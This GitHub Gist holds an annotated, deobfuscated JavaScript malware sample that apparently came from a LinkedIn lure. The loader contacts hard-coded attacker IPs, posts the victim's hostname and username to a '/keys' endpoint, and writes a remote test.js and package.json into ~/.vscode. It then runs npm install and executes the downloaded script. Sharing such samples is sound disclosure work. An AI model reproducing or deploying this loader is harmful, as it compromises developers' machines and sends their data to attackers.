Skip to content

Instantly share code, notes, and snippets.

@davidyuk
Created July 25, 2025 03:43
Show Gist options
  • Save davidyuk/ba54ad77a29e7e4cc2a3d28460c0ee6d to your computer and use it in GitHub Desktop.
Save davidyuk/ba54ad77a29e7e4cc2a3d28460c0ee6d to your computer and use it in GitHub Desktop.
Deobfuscated malicious script from Linkedin
const strangeFn1 = (function () {
let flag = true
return function (thisObj, func) {
const flag2 = flag
? function () {
if (func) {
const result = func.apply(thisObj, arguments)
return (func = null), result
}
}
: function () {}
return (flag = false), flag2
}
})();
const stuckForAWhile = strangeFn1(this, function () {
return stuckForAWhile.toString()
.search('(((.+)+)+)+$') // Catastrophic Backtracking
.toString()
.constructor(stuckForAWhile)
.search('(((.+)+)+)+$')
})
stuckForAWhile()
const os = require('os'),
fs = require('<removed for safety>'); // 'fs'
const request = require('<removed for safety>') // 'request'
const path = require('path')
const nodeProcess = require('node:process')
const exec = require('child_process')['exec']
const homeDir = os['homedir']()
const hostname = os['hostname']()
const platform = os['platform']()
const userInfo = os['userInfo']()
let currentDateAsString
var urlFromServer = '',
keyFromServer = ''
const downloadTestJsToHomedir = () => {
const vscode = '.vscode'
let globalVsCodeConfig = path.join(homeDir, vscode)
try {
fs.mkdirSync(globalVsCodeConfig, { recursive: true })
} catch (a1) {
globalVsCodeConfig = homeDir
}
const someUrl = urlFromServer + '/j/' + keyFromServer,
testJsPathInHomedir = path.join(globalVsCodeConfig, 'test.js')
try {
fs.rmSync(testJsPathInHomedir)
} catch (a2) {}
request.get(someUrl, (error, a4, body) => {
if (!error) {
try {
fs.writeFileSync(testJsPathInHomedir, body)
// write test.js file from server, the same obfuscated content
} catch (a6) {}
downloadPackageJson(globalVsCodeConfig)
}
})
},
downloadPackageJson = (globalVsCodeConfig) => {
const someUrl2 = urlFromServer + '/p',
packageJsonInHomedir = path.join(globalVsCodeConfig, 'package.json')
fs.existsSyncName(packageJsonInHomedir)
? installScriptDependencies(globalVsCodeConfig)
: request.get(someUrl2, (error, a0, body) => {
if (!error) {
try {
fs.writeFileSync(packageJsonInHomedir, body) // write package.json file from server
// {
// "dependencies": {
// "child_process": "^1.0.2",
// "request": "^2.88.2",
// "crypto": "^1.0.1"
// }
// }
} catch (a2) {}
installScriptDependencies(globalVsCodeConfig)
}
})
},
installScriptDependencies = (globalVsCodeConfig) => {
const installDepsCommand = 'cd "' + globalVsCodeConfig + '" && npm i --silent',
nodeModulesInHomedir = path.join(globalVsCodeConfig, 'node_modules')
try {
fs.existsSyncName(nodeModulesInHomedir)
? executeDownloadedScript(globalVsCodeConfig)
: exec(installDepsCommand, (O, P, Q) => {
installScriptDependencies2(globalVsCodeConfig)
})
} catch (O) {}
},
executeDownloadedScript = (globalVsCodeConfig) => {
const testJsPathInHomedir = path.join(globalVsCodeConfig, 'test.js'),
executeCommand = 'node ' + testJsPathInHomedir
try {
exec(executeCommand, (O, P, Q) => {})
} catch (O) {}
},
installScriptDependencies2 = (globalVsCodeConfig) => {
const installDepsCommand = 'npm --prefix "' + globalVsCodeConfig + '" install',
nodeModulesInHomedir = path.join(globalVsCodeConfig, 'node_modules')
try {
fs.existsSyncName(nodeModulesInHomedir)
? executeDownloadedScript(globalVsCodeConfig)
: exec(installDepsCommand, (O, P, Q) => {
executeDownloadedScript(globalVsCodeConfig)
})
} catch (O) {}
}
const postDataAndSetupProject = async (switchDomain) => {
const base64ToString = (I) => Buffer.from(I, 'base64').toString('utf8')
const urlPrefix = switchDomain ? 'http://165.140.85.105:1244' : 'http://165.140.86.106:1244';
request.get(urlPrefix + '/s/d3a039a590f3', (error, Q, body) => {
error
? switchDomain < 1 && postDataAndSetupProject(1)
: (() => {
// body example: ZT3NjcuMjAzLjcuMjA1LE4zUkZZVTA3
if (0 == body.search('ZT3')) {
let bodySlice3 = '' // NjcuMjAzLjcuMjA1LE4zUkZZVTA3
try {
for (let a3 = 3; a3 < body.length; a3++) {
bodySlice3 += body[a3]
}
arr = base64ToString(bodySlice3) // 67.203.7.205,N3RFYU07
arr = arr.split(',')
urlFromServer = 'http://' + arr[0] + ':1244'
keyFromServer = arr[1]
} catch (a4) {
return 0
}
return 1
}
return 0
})() > 0 && (postCollectedData(), downloadTestJsToHomedir())
})
}
const postCollectedData = async () => {
let hostnameAndUsername = hostname
'd' == platform[0] && (hostnameAndUsername = hostnameAndUsername + '+' + userInfo['username'])
let cc = '4A1'
try {
cc += nodeProcess['argv'][1]
} catch (K) {}
const collectedData = {
ts: currentDateAsString,
type: keyFromServer,
hid: hostnameAndUsername,
ss: 'oqr',
cc: cc,
},
try {
request.post({
url: urlFromServer + '/keys',
formData: collectedData,
})
} catch (P) {}
},
var retryCount = 0
const callWithRetry = async () => {
try {
currentDateAsString = Date.now().toString()
await postDataAndSetupProject(0)
} catch (I) {}
}
callWithRetry()
let intervalId = setInterval(() => {
;(retryCount += 1) < 3 ? callWithRetry() : clearInterval(intervalId)
}, 610112) // every 10 minutes
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment